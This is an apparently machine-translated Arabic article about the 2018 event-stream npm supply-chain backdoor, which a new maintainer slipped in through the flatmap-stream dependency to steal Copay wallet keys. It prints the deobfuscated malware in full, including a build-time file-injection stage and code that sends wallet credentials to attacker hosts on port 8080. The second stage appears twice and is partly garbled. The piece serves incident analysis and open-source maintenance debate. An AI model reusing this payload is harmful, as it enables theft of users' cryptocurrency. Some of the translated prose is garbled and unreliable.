
يتم تنزيل أكثر من
1.9 مليون نسخة من مكتبة
EventStream أسبوعيًا من مستودع NPM. يتم استخدامه في العديد من المشاريع الكبيرة للعمل البسيط والمريح مع
التدفقات في Node.JS. من بين أمور أخرى ، تعالج هذه المكتبة أيضًا التدفقات في محفظة كوباي المشفرة الشائعة (ومع ذلك ، المزيد عن ذلك لاحقًا).
في 21 نوفمبر 2018 ، حدث شيء غريب. أفاد مستخدم GitHubFallingSnow أن أحد تبعيات دفق الأحداث قد أخفى رمزًا خبيثًا ، وهو في الواقع باب خلفي لوظائف غير معروفة.
بدأ المستخدمون في معرفة مصدر هذا الرمز الضار. هذه قصة مشوقة ومفيدة للغاية. لسوء الحظ ، يمكن أن يكون لها عواقب طويلة المدى على العديد من المشاريع مفتوحة المصدر.
لذا ، بدأ التحقيق. بفضل تاريخ التعهدات على GitHub ، أصبح من الواضح على الفور أن المستخدم الضار قد تم بواسطة مستخدم آخر
@ right9ctrl ، والذي
تم منحه حقوق المشرف لتدفق الأحداث. لديه عدد من
الاعتداءات العادية على حسابه ، وقد نقله مؤلف المشروع دومينيك كار (
dominictarr ) حقوق
المشرف .
لماذا نقل المؤلف حقوق ولي الأمر إلى شخص غريب تمامًا؟ يقول دومينيك نفسه أنه عبء للمشاركة في المشروع. انظر إلى
المبرر التفصيلي لهذا الحادث: كتب المؤلف أنه أنشأ المشروع بشكل عام من أجل المتعة ولم يعتقد أن دعمه سيستغرق الكثير من الوقت ، وأن المكتبة نفسها كانت ضالعة في العديد من البرامج الجادة. لا يعفي نفسه من اللوم على الحادث ، لكنه يقول إن مشروع المصدر المفتوح ليس "ملكه" ، إنه ملك عام ، لذا فإن الجميع غيرهم مسؤولون أيضًا عما حدث. بعد كل شيء ، لماذا لم يستحوذ أي من الناس العاديين على حقوق المشرف ومراجعة الالتزامات؟
دعونا نعود إلى الالتزام @ right9ctrl المذكور. الخدعة هي أنه لم يضخ رمز الباب الخلفي مباشرة في مكتبة
event-stream
، ولكن حقن فقط الاعتماد على حزمة
دفق مسطحة أخرى. بالفعل ، تحت ستار مجموعة بيانات اختبار (test / data.js) ، في أحد المتغيرات تم إرسال رمز ضار للمحتوى التالي:
بعد "فك تشفير" المتغير
n
تصبح الصورة أكثر وضوحًا .
التمهيد الأولي module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
المرحلة الثانية ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
\\ \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
بعد
إزالة التعتيم ،
أصبحت وظيفة الباب الخلفي
واضحة . اتضح أنه يعمل بنجاح فقط إذا كان هناك
محفظة تشفير Copay في النظام (
copay-dash
package). في هذه الحالة ، تقوم بنسخ محافظ المستخدمين الخاصة وإرسالها إلى عناوين IP في ماليزيا.
أجرى مطورو كوباي تحقيقًا
واكتشفوا أن الباب الخلفي سقط وفقًا لإصدارات المحفظة من 5.0.2 إلى 5.1.0 ، أي إلى أحدث إصدار. في 27 نوفمبر 2018 ، أصدروا على الفور إصدارًا محدثًا 5.2.0.
لم يقم المهاجم @ right9ctrl بإضافة باب خلفي فحسب ، بل حاول أيضًا تغطية آثاره. بعد ثلاثة أيام ، أزال الشفرة الخبيثة من مستودع
flatmap-stream
، وتحديث رقم الإصدار ، وحذف القديم من NPM. وبالتالي ، في الإصدار الأخير من الحزمة ، لا يوجد باب خلفي ، لكنها باعت بالفعل عشرات الآلاف من السيارات ، وهو ما كان الهدف. تبين أن هذه الطريقة كانت ناجحة للغاية ، نظرًا لأن حقيقة عدم اكتشاف الباب الخلفي على الفور.
لا يزال من غير المعروف بالضبط مقدار الأموال التي تمكن المهاجم من جنيها ، لكن هذا الهجوم يوضح الفعالية الرئيسية لطريقة إدخال الأبواب الخلفية في مشاريع مفتوحة المصدر. من الواضح أن هذه ليست الحالة الأخيرة. وقد
كتب هذا أيضًا دومينيك كار ، مؤلف مكتبة EventStream المتأثرة: "ربما سيكون هناك العديد من الوحدات الأخرى في أشجار التبعية التي أصبحت الآن عبئًا على مؤلفيها" - ويمكن نقل هذه الوحدات "المرهقة" إلى مشرفين آخرين ، كما حدث في هذا القضية ، أو حتى بيعها مقابل المال. نظرًا لأن التبعيات مدمجة في مئات وآلاف البرامج ، يمكن أن تصبح بعض أصغر الوحدات النمطية مصدرًا لمشاكل كبيرة.
لماذا يتحكم مؤلف البرنامج في ذلك إلى شخص غريب تمامًا؟
يقول دومينيك كار: "إذا لم يعد هذا ممتعًا ، فلن تحصل على أي شيء فعليًا من دعم الحزمة الشعبية". - لذلك ، نحن الآن في واد غريب ، حيث لديك مجموعة من الإدمان التي يدعمها أولئك الذين فقدوا الاهتمام أو حتى بدأوا في التلاشي ، والذين لم يعودوا يستخدمونها . يمكنك مشاركة الرمز بسهولة ، ولكن لا أحد يريد مشاركة مسؤولية الحفاظ على هذا الرمز. "تمامًا مثل الوحدة النمطية تبدو وكأنها جزء من ملكية رقمية ، وهو حق يمكن نقله ، لكنك لا تحصل على أي فائدة من امتلاكها ، على سبيل المثال ، القدرة على بيعها أو استئجارها ، ومع ذلك ، لا تزال تحتفظ بالمسؤولية".
ما هو المخرج من هذا الوضع لمستخدمي البرمجيات الحرة؟ تعتقد كار إما أن تدفع للمؤلف ، أو تشارك بنشاط في المشروع.

